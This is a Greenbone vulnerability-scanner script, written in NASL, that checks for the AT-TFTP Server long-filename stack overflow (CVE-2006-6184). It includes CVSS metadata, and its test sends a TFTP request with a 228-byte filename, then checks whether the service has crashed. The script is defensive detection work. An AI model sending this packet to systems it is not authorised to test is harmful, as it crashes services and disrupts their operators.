CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
AI Score
Confidence
Low
EPSS
Percentile
98.1%
AT-TFTP Server is prone to a buffer overflow vulnerability.
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.802065");
script_version("2023-07-21T05:05:22+0000");
script_cve_id("CVE-2006-6184");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2013-11-26 11:32:51 +0530 (Tue, 26 Nov 2013)");
script_name("AT-TFTP Server Long Filename BoF Vulnerability");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2013 Greenbone AG");
script_family("Denial of Service");
script_dependencies("tftpd_detect.nasl", "global_settings.nasl", "os_detection.nasl");
script_require_udp_ports("Services/udp/tftp", 69);
script_mandatory_keys("tftp/detected");
script_require_keys("Host/runs_windows");
script_exclude_keys("keys/TARGET_IS_IPV6");
script_xref(name:"URL", value:"http://secunia.com/advisories/23106");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/21320");
script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/30539");
script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/16350");
script_xref(name:"URL", value:"http://aluigi.altervista.org/adv/attftp-adv.txt");
script_tag(name:"summary", value:"AT-TFTP Server is prone to a buffer overflow vulnerability.");
script_tag(name:"vuldetect", value:"Send crafted tftp request and check is it vulnerable to BoF or not.");
script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
release, disable respective features, remove the product or replace the product by another one.");
script_tag(name:"insight", value:"The falw is caused due to a boundary error during the processing of TFTP
Read/Write request packet types. This can be exploited to cause a stack-based buffer overflow by sending a
specially crafted packet with an overly long filename.");
script_tag(name:"affected", value:"Allied Telesyn TFTP Server (AT-TFTP) version 1.9 and possibly earlier.");
script_tag(name:"impact", value:"Successfully exploiting these issues may allow an attacker to execute
arbitrary code with the privileges of the user running the affected application.");
script_tag(name:"solution_type", value:"WillNotFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
if(TARGET_IS_IPV6())
exit(0);
include("tftp.inc");
include("misc_func.inc");
include("port_service_func.inc");
port = service_get_port(default:69, proto:"tftp", ipproto:"udp");
if(!tftp_alive(port:port))
exit(0);
soc = open_sock_udp(port);
if(!soc)
exit(0);
long_file_name = raw_string(crap(data:raw_string(0x41), length: 228));
crafted_tftp_pkt = raw_string(0x00, 0x01, long_file_name, 0x00, 0x6e, 0x65,
0x74, 0x61, 0x73, 0x63, 0x69, 0x69, 0x00);
send(socket:soc, data:crafted_tftp_pkt);
close(soc);
if(!tftp_alive(port:port)){
security_message(port:port, proto:"udp");
exit(0);
}
exit(99);